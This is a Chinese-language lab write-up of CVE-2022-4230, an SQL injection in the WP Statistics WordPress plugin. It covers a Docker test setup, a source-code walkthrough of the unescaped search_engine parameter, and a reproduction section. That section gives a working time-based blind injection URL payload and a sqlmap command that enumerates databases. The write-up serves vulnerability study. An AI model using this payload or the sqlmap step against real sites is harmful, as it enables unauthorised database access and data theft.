漏洞介绍

wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce来进行认证。

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它,其实就是没对admin进行鉴权,只对nonce进行了处理

漏洞范围

WP Statistics WordPress 插件<13.2.9

漏洞靶场

使用WP Statistics WordPress 插件13.2.8

https://downloads.wordpress.org/plugin/wp-statistics.13.2.8.zip

使用CVE-2024-4439的docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: '3.8'

services:
db:
image: mysql:5.7
container_name: wordpress_db
environment:
MYSQL_ROOT_PASSWORD: root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress_user
MYSQL_PASSWORD: wordpress_password
volumes:
- db_data:/var/lib/mysql
networks:
- wordpress_network

wordpress:
image: wordpress:6.4.3
container_name: wordpress_app
depends_on:
- db
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wordpress_user
WORDPRESS_DB_PASSWORD: wordpress_password
WORDPRESS_DEBUG: "true"
volumes:
- wordpress_data:/var/www/html
- ./plugins:/var/www/html/wp-content/plugins
networks:
- wordpress_network

volumes:
db_data:
wordpress_data:

networks:
wordpress_network:

把插件解压到plugins里面,该目录会挂载到容器内的插件目录

http://127.0.0.1:8080/wp-admin/plugins.php内,把该插件启用一下

漏洞原理

打个断点进行调试分析,首先因为通过api来进行请求会进行一个nonce认证,我们在认证处(rest-api.php)打个断点

img

wp-includes/rest-api.php#L1039-L1052

这里接受我们的_wpnonce,调用了wp_verify_nonce方法,跟进这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
function wp_verify_nonce( $nonce, $action = -1 ) {
$nonce = (string) $nonce;
$user = wp_get_current_user();
$uid = (int) $user->ID;
if ( ! $uid ) {
/**
* Filters whether the user who generated the nonce is logged out.
*
* @since 3.5.0
*
* @param int $uid ID of the nonce-owning user.
* @param string|int $action The nonce action, or -1 if none was provided.
*/
$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
}

if ( empty( $nonce ) ) {
return false;
}

$token = wp_get_session_token();
$i = wp_nonce_tick( $action );

// Nonce generated 0-12 hours ago.
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 1;
}

// Nonce generated 12-24 hours ago.
$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 2;
}

/**
* Fires when nonce verification fails.
*
* @since 4.4.0
*
* @param string $nonce The invalid nonce.
* @param string|int $action The nonce action.
* @param WP_User $user The current user object.
* @param string $token The user's session token.
*/
do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token );

// Invalid nonce.
return false;
}

wp-includes/pluggable.php#L2259-L2308

这里面首先对用户身份进行一个认证,要是没登录的话就寄,然后对nonce进行一个对比,这里有两处对比,满足任意皆可,不过不是很明白为什么要分时间段认证,因为我们通过api接口拿到的nonce,肯定是能过认证的,返回之后,中间有些dispatch和callback调用之类的,我们就不看了,直接来到我们的插件处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function register_routes()
{

// Get Admin Meta Box
register_rest_route(self::$namespace, '/metabox', array(
array(
'methods' => \WP_REST_Server::READABLE,
'callback' => array($this, 'meta_box_callback'),
'args' => array(
'name' => array(
'required' => true
)
),
'permission_callback' => function (\WP_REST_Request $request) {

// Check User Auth
$user = wp_get_current_user();
if ($user->ID == 0) {
return false;
}

return current_user_can(Option::get('read_capability', 'manage_options'));
}
)
));
}

includes/api/v2/class-wp-statistics-api-meta-box.php#L28-L53

这里注册了一个路由,定义了一个permission_callback,我们跟进current_user_can,兜兜转转来到class-wp-rest-server.php

img

wp-includes/rest-api/class-wp-rest-server.php#L1143

img

看这里request中需要有name参数,我们传的是name=words,这里就会调用Meta_Box中的words类,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class words
{

public static function get($args = array())
{

// Prepare Response
try {
$response = SearchEngine::getLastSearchWord($args);
} catch (\Exception $e) {
$response = array();
}

// Check For No Data Meta Box
if (count(array_filter($response)) < 1) {
$response['no_data'] = 1;
}

// Response
return $response;
}

}

includes/admin/meta-box/wp-statistics-meta-box-words.php#L7-L29

words类很简单,我们跟进SearchEngine::getLastSearchWord

img

这里解析我们的GET参数,然后直接拼接到这个sql语句里了,没有做任何的处理也就导致了注入

1
$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));

wp-statistics/includes/class-wp-statistics-search-engine.php#L423-L427

注入点是这个$search_query$args['search_engine']是由我们控制的,最终实现注入

漏洞复现

访问http://127.0.0.1:8080/wp-admin/admin-ajax.php?action=rest-nonce获得nonce

image-20241129203213260

将获得的nonce替换到这串url里

http://127.0.0.1:8080/wp-json/wp-statistics/v2/metabox?_wpnonce=[nonce]&name=words&search_engine=aaa

注入点在search_engine这里

http://127.0.0.1:8080/wp-json/wp-statistics/v2/metabox?_wpnonce=2ce6498aeb&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(if(1,SLEEP(5),0)))Mdgs)--+

可以证明存在时间盲注

由于sql注入需要cookie

通过burp将数据包复制下来保存为txt

image-20241129203805836

然后使用sqlmap跑

sqlmap -r data.txt --batch --dbs

image-20241129203937968

成功得到库名

参考

WordPress wp statistics插件sql注入漏洞靶场复现(CVE-2022-4230) - 爱在西元间 - 博客园 (cnblogs.com)

春秋云境 CVE-2022-4230过关-CSDN博客

WordPress CVE-2022-4230复现分析 - FreeBuf网络安全行业门户